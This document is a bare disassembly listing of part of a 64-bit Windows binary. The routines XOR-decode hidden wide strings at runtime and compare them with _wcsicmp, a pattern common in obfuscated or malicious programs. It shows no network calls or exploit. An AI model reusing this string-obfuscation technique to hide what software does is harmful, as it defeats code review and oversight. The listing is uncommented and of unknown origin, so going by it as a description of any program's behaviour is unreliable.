pand xmm0, xmm1
movq xmm1, qword [0x140532c70]
movaps xmmword [0x140536550], xmm0
movq xmm0, qword [0x140536560]
pxor xmm0, xmm1
movq xmm1, qword [0x140532680]
pand xmm0, xmm1
movq qword [0x140536560], xmm0
movd xmm0, dword [0x140532c78]
pxor xmm0, xmm5
pand xmm0, xmm6
movd dword [0x140536568], xmm0
lea rsi, [0x140532160]
mov ecx, 0x94
mov rdi, rbx
cmp byte [0x140536088], 0
rep movsq qword [rdi], qword [rsi]
mov eax, dword [rsi]
mov dword [rdi], eax
jne 0x1400067bb
lea rax, [0x1405360a0]
mov ecx, 0x94
mov rsi, rbx
mov byte [0x140536544], 1
mov rdi, rax
mov byte [0x140536088], 1
rep movsq qword [rdi], qword [rsi]
lea rcx, [0x1400014a0]
mov eax, dword [rsi]
mov dword [rdi], eax
call fcn.140001335
cmp byte [0x140536544], 0
je 0x1400068a0
lea rax, [0x1405360a0]
movdqa xmm1, xmmword [0x140532680]
movdqa xmm8, xmmword [0x140532610]
movdqa xmm6, xmmword [0x140532880]
movdqa xmm5, xmmword [0x140532890]
lea rdx, [rax + 0x4a0]
movdqa xmm4, xmmword [0x1405328a0]
movdqa xmm3, xmmword [0x1405328b0]
movdqa xmm9, xmmword [0x140532cd0]
movdqa xmm2, xmm8
add rax, 0x10
paddq xmm8, xmm6
movdqa xmm7, xmm2
movdqa xmm0, xmm2
paddq xmm7, xmm5
shufps xmm0, xmm7, 0x88
movdqa xmm7, xmm2
paddq xmm2, xmm3
paddq xmm7, xmm4
shufps xmm7, xmm2, 0x88
movdqa xmm2, xmm0
punpcklwd xmm0, xmm7
punpckhwd xmm2, xmm7
movdqa xmm7, xmm0
punpckhwd xmm7, xmm2
punpcklwd xmm0, xmm2
punpcklwd xmm0, xmm7
paddw xmm0, xmm9
pxor xmm0, xmmword [rax - 0x10]
pand xmm0, xmm1
movaps xmmword [rax - 0x10], xmm0
cmp rax, rdx
jne 0x140006810
movd xmm5, dword [0x140536540]
movd xmm0, dword [0x140532ce0]
mov byte [0x140536544], 0
movd xmm6, dword [0x140532680]
pxor xmm0, xmm5
pand xmm0, xmm6
movd dword [0x140536540], xmm0
cmp byte [0x140536070], 0
je 0x140006946
nop dword [rax]
cmp byte [0x140536080], 0
lea rcx, [0x140536078]
je 0x1400068ef
movq xmm0, qword [0x140536078]
mov byte [0x140536080], 0
movq xmm1, qword [0x140532cf0]
pxor xmm0, xmm1
movq xmm1, qword [0x140532680]
pand xmm0, xmm1
movq qword [0x140536078], xmm0
mov rdx, r13
call sub.msvcrt.dll__wcsicmp
mov r13d, eax
test eax, eax
jne 0x140006978
test r15b, r15b
jne 0x140006978
mov rcx, qword [rsp + 0x60]
call fcn.1400041ac
nop
movaps xmm6, xmmword [rsp + 0x1d20]
xor eax, eax
movaps xmm7, xmmword [rsp + 0x1d30]
movaps xmm8, xmmword [rsp + 0x1d40]
movaps xmm9, xmmword [rsp + 0x1d50]
add rsp, 0x1d68
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [0x140532ce8]
lea rcx, [0x1400014b0]
mov byte [0x140536080], 1
mov byte [0x140536070], 1
mov qword [0x140536078], rax
call fcn.140001335
jmp 0x1400068b0
xor eax, eax
mov ecx, 0x41
mov rdi, rbx
cmp byte [0x140536048], 0
rep stosq qword [rdi], rax
jne 0x1400069cf
movdqa xmm0, xmmword [0x140532d00]
mov rax, qword [0x140532d10]
lea rcx, [0x1400014c0]
mov byte [0x14053606c], 1
mov dword [0x140536068], 0xf60090
mov qword [0x140536060], rax
mov byte [0x140536048], 1
movaps xmmword [0x140536050], xmm0
call fcn.140001335
cmp byte [0x14053606c], 0
je 0x140006a4e
movdqa xmm0, xmmword [0x140532d20]
pxor xmm0, xmmword [0x140536050]
mov byte [0x14053606c], 0
pand xmm0, xmmword [0x140532680]
movd xmm3, dword [0x140536068]
movq xmm1, qword [0x140532d30]
movd xmm4, dword [0x140532680]
movaps xmmword [0x140536050], xmm0
movq xmm0, qword [0x140536060]
pxor xmm0, xmm1
movq xmm1, qword [0x140532680]
pand xmm0, xmm1
movq qword [0x140536060], xmm0
movd xmm0, dword [0x140532d38]
pxor xmm0, xmm3
pand xmm0, xmm4
movd dword [0x140536068], xmm0
lea r15, [0x140536550]
lea rcx, [0x140536050]
mov rdx, r15
call sub.msvcrt.dll__wcsicmp
mov rdx, rbp
mov r8, r15
mov rcx, rbx
test eax, eax
cmovne rdx, r12
call fcn.140002cf0
test r13d, r13d
jne 0x140006af0
movsxd r13, dword [0x140536044]
lea rbp, [0x140536040]
lea rcx, [0x140536580]
call fcn.140002c40
test al, al
jne 0x140006903
mov edx, r13d
mov rcx, rbp
call fcn.140002ab0
mov qword [rsp + 0x30], r12
mov r8, rbx
mov rdx, rbx
mov dword [rsp + 0x28], r13d
lea r9, [0x1405360a0]
mov rcx, r14
mov qword [rsp + 0x20], rbp
call fcn.140003c30
mov rcx, rbp
mov edx, r13d
mov rbx, rax
call fcn.140002ab0
mov rcx, rbx
call fcn.1400041ac
jmp 0x140006903
movsxd r13, dword [0x140530000]
lea rbp, [0x140017000]
jmp 0x140006a8b
xor ecx, ecx
call sub.msvcrt.dll_exit
lea rdi, section..data
mov edx, r13d
mov rcx, rdi
call fcn.140002ab0
mov rdx, qword [rsp + 0x58]
xor r9d, r9d
mov rcx, r14
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r13d
mov r8, rdx
mov qword [rsp + 0x20], rdi
call fcn.140003c30
mov rcx, rdi
mov edx, r13d
mov rsi, rax
call fcn.140002ab0
mov rcx, rsi
call fcn.1400041ac
jmp 0x1400064b1
mov rcx, qword [rsp + 0x50]
mov rdx, rbx
call fcn.140003340
mov r8d, dword [rsp + 0x1870]
mov rcx, r13
mov rdx, rax
call fcn.1400034f0
cmp byte [0x140536648], 0
jne 0x140006bac
lea rcx, [0x140001450]
mov byte [0x140536656], 1
mov dword [0x140536650], 0x170066
mov word [0x140536654], 0x45
mov byte [0x140536648], 1
call fcn.140001335
cmp byte [0x140536656], 0
je 0x140006bfa
movzx eax, word [0x140536654]
movd xmm3, dword [0x140536650]
mov byte [0x140536656], 0
movd xmm0, dword [0x140532bc4]
movd xmm4, dword [0x140532680]
xor ax, 0xe145
and ax, 0xff
pxor xmm0, xmm3
mov word [0x140536654], ax
pand xmm0, xmm4
movd dword [0x140536650], xmm0
mov qword [rsp + 0x20], r13
mov r8, r13
mov rdx, r12
xor ecx, ecx
lea r9, [0x140536650]
call fcn.1400028d0
jmp 0x14000690e
movdqa xmm0, xmmword [0x140532a00]
mov rax, qword [0x140532a70]
cmp byte [0x1405366f8], 0
movaps xmmword [rsp + 0x1870], xmm0
movdqa xmm0, xmmword [0x140532a10]
mov qword [rsp + 0x18e0], rax
movaps xmmword [rsp + 0x1880], xmm0
movdqa xmm0, xmmword [0x140532a20]
movaps xmmword [rsp + 0x1890], xmm0
movdqa xmm0, xmmword [0x140532a30]
movaps xmmword [rsp + 0x18a0], xmm0
movdqa xmm0, xmmword [0x140532a40]
movaps xmmword [rsp + 0x18b0], xmm0
movdqa xmm0, xmmword [0x140532a50]
movaps xmmword [rsp + 0x18c0], xmm0
movdqa xmm0, xmmword [0x140532a60]
movaps xmmword [rsp + 0x18d0], xmm0
jne 0x140006cce
lea rax, [0x140536700]
mov ecx, 0x1e
mov rsi, rbx
mov byte [0x140536778], 1
mov rdi, rax
mov byte [0x1405366f8], 1
rep movsd dword [rdi], dword [rsi]
lea rcx, [0x140001430]
call fcn.140001335
cmp byte [0x140536778], 0
je 0x140006db0
lea rax, [0x140536700]
movdqa xmm1, xmmword [0x140532680]
movdqa xmm8, xmmword [0x140532610]
movdqa xmm6, xmmword [0x140532880]
movdqa xmm5, xmmword [0x140532890]
lea rdx, [rax + 0x70]
movdqa xmm4, xmmword [0x1405328a0]
movdqa xmm3, xmmword [0x1405328b0]
movdqa xmm9, xmmword [0x140532a80]
movdqa xmm2, xmm8
add rax, 0x10
paddq xmm8, xmm6
movdqa xmm7, xmm2
movdqa xmm0, xmm2
paddq xmm7, xmm5
shufps xmm0, xmm7, 0x88
movdqa xmm7, xmm2
paddq xmm2, xmm3
paddq xmm7, xmm4
shufps xmm7, xmm2, 0x88
movdqa xmm2, xmm0
punpcklwd xmm0, xmm7
punpckhwd xmm2, xmm7
movdqa xmm7, xmm0
punpckhwd xmm7, xmm2
punpcklwd xmm0, xmm2
punpcklwd xmm0, xmm7
paddw xmm0, xmm9
pxor xmm0, xmmword [rax - 0x10]
pand xmm0, xmm1
movaps xmmword [rax - 0x10], xmm0
cmp rdx, rax
jne 0x140006d20
movq xmm0, qword [0x140536770]
mov byte [0x140536778], 0
movq xmm1, qword [0x140532a90]
pxor xmm0, xmm1
movq xmm1, qword [0x140532680]
pand xmm0, xmm1
movq qword [0x140536770], xmm0
mov qword [rsp + 0x20], r15
mov r8, r15
mov rdx, r12
mov ecx, 1
lea r9, [0x140536700]
call fcn.1400028d0
jmp 0x14000610a